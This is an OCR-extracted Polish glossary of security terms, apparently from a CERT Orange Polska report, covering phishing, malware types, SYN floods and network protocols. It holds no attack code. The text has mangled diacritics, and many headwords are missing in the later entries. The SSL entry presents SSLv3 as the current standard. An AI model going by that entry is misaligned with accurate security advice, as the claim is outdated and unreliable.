np. przy konstruowaniu adresow URL do identyfikacji
zasobow (serwisow) nalezacych do danej organizacji.

CERT Orange Polska

Przyktadem moze by¢ domena orange.pl, w ktdrej dostepne
sg zasoby zwigzane z tg domena, jak serwis internetowy
dla klientéw Orange Polska -- www.orange.pl.

Exploit - program, ktéry umozliwia przejecie kontroli
nad systemem komputerowym, wykorzystujac rézne luki
w programach i systemach operacyjnych.

Exploit kit — rodzaj oprogramowania, uruchamianego
na serwerach sieciowych i stuzacego do wykrywania
luk w zabezpieczeniach.

Firewall — zapora sieciowa; oprogramowanie (urzadzenie),

ktérego podstawowa funkcja jest filtrowanie ruchu sieciowego.

Mozna wyodrebni¢ zapore lokalng w postaci narzedzi systemu
operacyjnego (chronigcg lokalny zasob przed zagrozeniami
pochodzacymi z sieci) lub sieciowa, czesto w postaci specjali-
stycznego urzadzenia chronigcego wieksza liczbe zasobdw.

FQDN (ang. Full Qualified Domain name) — petna nazwa
domenowa zasobu dostepnego w sieci Internet, sktadajgca
sie z nazwy zasobu oraz domeny, ktorej jest czescig np. www.
orange.pl (www to nazwa zasobu, a orange.pl to domena,

w ktérej sie znajduje). FQDN dla witryn internetowych jest
czescia URI / URL.

Honeypot - ,,garnek miodu”; putapka majgca na celu wykrycie
proby nieautoryzowanego dostepu do systemu komputerowego
lub pozyskania danych. Najczesciej sktada sie z wyizolowane-
go komputera wraz z wyodrebnionym obszarem sieci lokalnej,
ktore razem udajg prawdziwag sieé, ale sg odizolowane

i odpowiednio zabezpieczone. System taki ma sprawiac
wrazenie jakby zawierat dane lub zasoby atrakcyjne z punktu
widzenia potencjalnego intruza.

HTTP (ang. Hypertext Transfer Protocol) — internetowy protokét
aplikacyjny, zazwyczaj wykorzystywany do przekazywania
wpisanych w pasku adresu przegladarki internetowej zapytan
uzytkownika do serwerow WWW, aby nastepnie przekaza¢
odpowiedz serwera WWW zawierajgcg intersujgca tres¢ do
przegladarki uzytkownika w celu jej ,wizualizacji” w postaci

np. strony internetowej. Zastosowanie protokotu HTTP jest
znacznie szersze, ale przedstawiony przypadek jest najbardziej
charakterystyczny.

HTTPS (ang. Hypertext Transfer Protocol Secure) — protokot
bezpiecznej komunikaciji, ktéry jest rozszerzeniem protokotu
HTTP i umozliwia bezpieczna wymiane informacji dzieki
szyfrowaniu danych. Przy korzystaniu z bezpiecznego
potaczenia HTTPS adres internetowy zaczyna sie od ,https://”.

ICMP (ang. Internet Control Message Protocol) — protokot
komunikacyjny, stuzgcy do przekazywania komunikatéw

o nieprawidtowosciach w funkcjonowaniu sieci IP

oraz innych informacji kontrolnych. Jednym z programéw,
ktore wykorzystujg ten protokét jest ping, ktéry pozwala
sprawdzi¢ czy istnieje potgczenie z innym komputerem w sieci.

IDS (ang. Intrusion Detection System) — system wykrywania
wiaman. System IDS monitoruje ruch sieciowy, wykrywajac
i powiadamiajgc o zidentyfikowanych zagrozeniach.

Incydent - zdarzenie zagrazajgce lub naruszajgce
bezpieczenstwo w sieci internet. Do incydentow zalicza
sie m.in.: wtamania lub préby wiaman do systeméw

komputerowych, ataki typu DDoS, spam, rozsytanie
ztosliwego oprogramowania i inne przypadki naruszania
zasad, ktdre obowigzuja w sieci internet.

loT (ang. Internet of Things) - Internet Rzeczy; koncepcja
systemu gromadzenia, przetwarzania i wymiany danych
pomiedzy ,inteligentnymi” urzadzeniami, za posrednictwem
sieci komputerowej. Do loT zalicza sie m.in.: urzadzenia
gospodarstwa domowego, artykuty oswietleniowe, budynki,
pojazdy, itp.

IP (ang. Internet Protocol) — jeden z najwazniejszych
protokotéw komunikacyjnych, uzywany do transmisji
danych w sieci Internet. Zdefiniowany w trzeciej warstwie
modelu OSI (L3) wykorzystywany jest do okreslenia trasy,
ktérag pakiet ma dotrze¢ do celu. Obecnie wcigz
najpopularniejszg jest czwarta wersja protokotu (IPv4),
ale jego nastepca jest wersja szésta (IPv6).

IPS (ang. Intrusion Prevention System) — system
wykrywania zagrozen i zapobiegania atakom w czasie
rzeczywistym.

ITIL (ang. Information Technology Infrastructure
Library) — biblioteka opisujaca kompleksowe podejscie
do $wiadczenia ustug w modelu ustugowym.

Keylogger - program lub urzadzenie, ktére dziatajg rejestrujg
dane wprowadzane za pomocg klawiatury. Stuzg do $ledzenia
dziatan i przechwytywania poufnych danych uzytkownika

(np. danych uwierzytelniajgcych, numerow kart kredytowych,

danych kompromitujgcych i innych).

Luka — patrz: Podatnosc¢.

Malware (ang. malicious sofware) — ztosliwe oprogramowanie,
ktérego celem jest szkodliwe dziatanie w stosunku

do uzytkownika komputera. Zalicza sie do niego m.in. wirusy
komputerowe, robaki internetowe, konie trojanskie, programy
typu spyware.

MSISDN (ang. Mobile Station International Subscriber
Directory Number) — numer telefonu; numer abonenta
sieci komorkowe;j.

OWASP (ang. Open Web Application Security Project)
- globalne stowarzyszenie, ktére gtéwng ideg jest
poprawa bezpieczenstwa aplikacji webowych.

Phishing - to oszustwo stosowane przez internetowych
przestepcow w celu pozyskania cennych informaciji, takich
jak: loginy i hasta, numery kart kredytowych, czy numer
PESEL. Nazwa budzi dZzwiekowe skojarzenia z fishingiem
— czyli towieniem ryb. Przestepcy, podobnie jak wedkarze,
stosuja bowiem odpowiednio przygotowana ,,przynete”.

Podatnosc¢ (ang. vulnerability) — bfad, luka; cecha
sprzetu lub oprogramowania, stanowigca zagrozenie
dla bezpieczenstwa. Moze zosta¢ wykorzystana
przez atakujacego, jezeli nie zostanie zainstalowana
odpowiednia poprawka.

Poprawka (ang. patch) — aktualizacja oprogramowania
w postaci kodu zrédtowego lub w wersji binarnej, naprawiajgca
zidentyfikowane w nim btfedy.

Glosariusz

Ransomware (ang. ransom - okup) — rodzaj ztosliwego
oprogramowania, ktéry po wprowadzeniu do systemu
uzytkownika szyfruje pliki na dysku. Odszyfrowanie
wymaga zaptacenia cyberprzestepcom okupu.

Robak (ang. worm) internetowy — samoreplikujacy sie ztosliwy
program komputerowy. Rozprzestrzenia sie we wszystkich
sieciach, do ktérych jest podtaczony zainfekowany komputer,
wykorzystujac luki w systemie operacyjnym lub naiwnosé
uzytkownika. Robak potrafi m.in. niszczy¢ pliki, wysyta¢ spam
albo petni funkcje backdoora lub konia trojanskiego.

Rootkit — program, ktérego zadaniem jest ukrycie obecnosci
i aktywnosci ztosliwego oprogramowania przed narzedziami
zabezpieczajgcymi system. Rootkit usuwa ukrywane
programy z listy proceséw i jest wykorzystywany przez
atakujacego w celu uzyskania nieautoryzowanego dostepu
do komputera.

SIEM (ang. Security Information and Event Management)

- system pozwalajgcy na gromadzenie, filtrowanie

i korelacje zdarzen, pochodzacych z wielu réznych zrédet.
Wyniki korelacji zdarzen sg wykorzystywane przez zespoty
Security Operating Center (patrz: SOC) lub inne zajmujace sie
monitorowaniem stanu bezpieczenstwa ustug.

Sinkholing (ang. hole -dziura) — polega na przekierowaniu
niepozadanego ruchu sieciowego, generowanego przez
ztosliwe oprogramowanie lub botnety. Przekierowanie moze
odbywac sie pod takie adresy IP, gdzie zawarto$¢ tego ruchu
moze by¢ przeanalizowana, jak rowniez pod nieistniejgce
adresy IP.

Skanowanie portéw (ang. port scanning) — dziatanie
polegajgce na wysytaniu danych (datagraméw TCP lub UDP)
do okreslonego zasobu w sieci. Pozwala ono uzyskac
informacje o aktywnosci okreslonych ustug. Skanowanie
przeprowadzane jest zwykle w fazie rekonesansu w celu
pozyskania informaciji o interesujgcym zasobie.

SLA (ang. Service Level Agreement) - umowa (moze réwniez
stanowi¢ osobny rozdziat w innym kontrakcie) o gwarantowanym
poziomie $wiadczenia ustug, ustalonego miedzy klientem

a ustugodawca. Termin jest czesciowo powigzany z modelem
ustugowym opisanym w bibliotece ITIL.

Smishing (SMS phishing) — phishing realizowany za pomoca
SMS-éw. Phishingowe SMSy na ogét zawieraja linki do:
fatszywych stron ptatnosci elektronicznych lub ztosliwych
stron, ktore naktaniajg uzytkownika do instalacji malware.

Sniffing — dziatanie polegajace na podstuchiwaniu
ruchu w sieci. Sniffing moze by¢ wykorzystany

do zarzadzania i usuwania probleméw w sieci przez
administratoréw ale takze przez cyberprzestepcow

do przechwytywania poufnych informacji uzytkownikow
(np. haset). Popularnym atakiem wykorzystujacym

ten mechanizm jest MiTM (ang. Man in The Middle).

SOC (ang. Security Operations Center) — Operacyjne
Centrum Bezpieczenstwa, faczgce zarowno funkcije
techniczne, jak i organizacyjne przy monitorowaniu
zdarzen, wykrywaniu incydentéw bezpieczenstwa

oraz do podejmowania reakcji. Wykorzystuje one systemy
typu SIEM korelujgce zdarzenia z wielu zrédet (patrz: SIEM).
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- niezamdwione i niechciane wiadomosci, rozsytane
masowo, zazwyczaj przy uzyciu poczty elektronicznej. Spam to
najczesciej wiadomosci reklamujgce produkty lub ustugi.

— dziatanie wykorzystywane w naduzyciach w sieci
Internet. Najczesciej wykorzystywany jest: Spoofing adresu IP,
podczas ktérego atakujgcy ukrywa prawdziwy adres wskazujgc
na inne Zrodto ataku, Spoofing adresu e-mail, w ktérym
atakujacy podszywa sie pod innego nadawce oraz Spoofing
domen, ktéry podczas ataku typu Phishing ma naktoni¢ ofiare
do klikniecia w link i odwiedzenia odpowiednio spreparowane;j
strony internetowej podszywajacej sie pod znany podmiot
(np. strona internetowa banku, firmy kurierskiej czy znanej
organizacji publicznej) — patrz Phishing.

(ang. spy software) — program szpiegujacy dziatania
uzytkownika bez jego wiedzy Zbierane informacje dotycza
m. in. adreséw odwiedzanych stron internetowych, adreséw
e-mail, haset czy numerdw kart kredytowych. Do programow
typu spyware nalezg m. in. adware, trojany i keyloggery.

(ang. Secure Socket Layer) — bezpieczny protokot
zapewniajgcy poufnosé i integralnos$¢ transmisji danych.
Obecnie najczesciej uzywana jest wersja SSLv3 uznawana
za standard bezpiecznej wymiany danych i rozwijana
pod nazwg TLS (ang. Transport Layer Security). Starsze
wersje protokotu SSL nie powinny by¢ wykorzystywane ze
wzgledu na ich podatnosci.

— etap, w ktérym uczestnicy konwersacji
(systemy) dostosowujg wzajemnie optymalne parametry
komunikacji w taki sposéb, aby zapewni¢ maksymalng
zgodnos¢ protokotu (algorytmow) pomiedzy stronami.
Jest to bardzo uzyteczna ale tez niebezpieczna funkcja
w przypadku podatnych wersji protokotu.

(ang. synchronization) — jedna z flag protokotu TCP,
wystana przez klienta do serwera w celu zainicjalizowania
potaczenia.

(ang. flood - zalanie) — atak oparty jest
na podatnosci protokotu TCP w procedurze three-way
handshake. Atakujgcy wysyta na porty TCP datagramy
z flaga SYN, ktéra stuzy do inicjowania potgczenia pomiedzy
hostem Zrédtowym a docelowym. Nastepnie, system
atakowanego odpowiada wiadomoscig SYN-ACK, ktéra
otwiera port i czeka na potwierdzenie nawigzania potaczenia
- czeka na flage ACKod atakujgcego. Kolejny datagram
z flagag ACK jednak nie jest przesytany, przez co potgczenie
nigdy nie jest w petni ustanawiane, ale przez okreslony czas
yofiara” oczekuje na potwierdzenie utrzymujac tablice sesji,
co wykorzystuje jej zasoby.

(ang. Transmission Control Protocol) — protokét
potgczeniowy; jeden z podstawowych protokotdw
sieciowych, stuzacy do sterowania transmisjg danych
w sieci internet. Wymaga nawigzania potgczenia
pomiedzy urzadzeniami w sieci i umozliwia uzyskanie
potwierdzenia, ze dane dotarty do adresata.

— kon trojanski; ztosliwy program, ktory umozliwia
cyberprzestepcy zdalne przejecie petnej kontroli nad systemem
komputerowym. Instalacja konia trojanskiego najczesciej
odbywa sie poprzez uruchomienie ztosliwych aplikaciji
pochodzacych z niezaufanych stron internetowych
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lub zatgcznikdw mailowych. Poza zdalnym wykonywaniem
komend, trojan moze umozliwi¢ podstuchanie komunikacji
i przechwyci¢ hasta uzytkownika.

(ang. Transport Layer Security) — bezpieczny protokét
zapewniajacy poufno$¢ i integralno$¢ transmisji danych. Obecnie
najczesciej uzywana jest wersja TLS 1.2, ale coraz wiecej ustug
w internecie wykorzystuje wersje TLS 1.3. W Internecie
docelowo planowane jest odej$cie od stosowania protokotu
TLS w wersji 1.0 oraz 1.1.

(ang. User Datagram Protocol) — protokot
bezpotaczeniowy, jeden z podstawowych protokotow
sieciowych. W przeciwienstwie do TCP, nie wymaga
on nawigzywania potgczenia, obserwowania sesji miedzy
urzadzeniami i potwierdzenia, ze dane dotarty do adresata.
Dzieki czemu wykorzystywany jest do transmisji
w czasie rzeczywistym (real-time).

(ang. Universal Resource Locator) — adres uzywany
do identyfikacji serwerdw i ich zasobéw. Niezbedny
w wielu protokotach internetowych (np. HTTP).

(ang. Przypadek Uzycia) — moze byé swoista
procedurg, scenariuszem dziatania czy zbiorem wymagan.
Termin najczesciej stosowany w przeszitosci w inzynierii
oprogramowania, ale obecnie jest bardzo popularny w wielu
obszarach dotyczacych IT, a nawet innych dziedzin
technicznych.

(Voice phishing) — phishing realizowany za pomoca
gtosowych potaczen telefonicznych. Jego skutecznosé
czesto zwiekszana jest poprzez zastosowanie CLI spoofingu
— odpowiedni numer prezentujacy sie osobie odbierajgcej
potaczenie pomaga przekonac jg, ze potgczenie inicjowane
jest np. przez pracownika banku czy firmowego helpdesku
i zwieksza szanse oszustwa polegajgcego na naktonieniu
rozméwcey do przekazania poufnych informacji, zainstalowania
zlosliwego oprogramowania, czy tez wejscia na fatszywa strone
WWW utworzong w celu wytudzenia danych logowania i haset
jednorazowych.

— (ang. Voice Over Internet Protocol) — ,telefonia
internetowa”; technika umozliwiajgca przesytanie dzwiekow
mowy za pomoca tgczy internetowych. Dane dzwiekowe
przesytane sa przy wykorzystaniu protokotu IP.

(ang. virus) — ztosliwy program lub fragment kodu ukryty
wewnatrz innego programu, ktory replikuje sie w systemie
operacyjnym uzytkownika. W zaleznosci od typu wirusa,
posiada on rézne funkcje destrukcyjne, od wyswietlania
napisdw na monitorze, poprzez usuwanie plikow, a nawet
formatowanie dysku. Od dekady, ten typ zagrozenia ma coraz
mniejsze znaczenie na rzecz innych zagrozen.

(ang. Event) — pojedyncza zarejestrowna aktywnosé
w systemie wynikajaca z dziata uzytkownika, aplikacji, ustugi
itp. Kilka powigzanych ze sobg zdarzerh moze w systemach
monitorujacych bezpieczenstwo (patrz: SIEM) wygenerowacé
incydent, ktory powinien zosta¢ poddany analizie automatycznej
lub recznej. Zdarzenie moze przeksztatci¢ sie w incydent.
Nawet jedno zdarzenie wynikajace z nieprawidtowego
dziatania systemu, przetamania zabezpieczen lub innym wrogim
dziataniem moze zosta¢ zakwalifikowane jako incydent.
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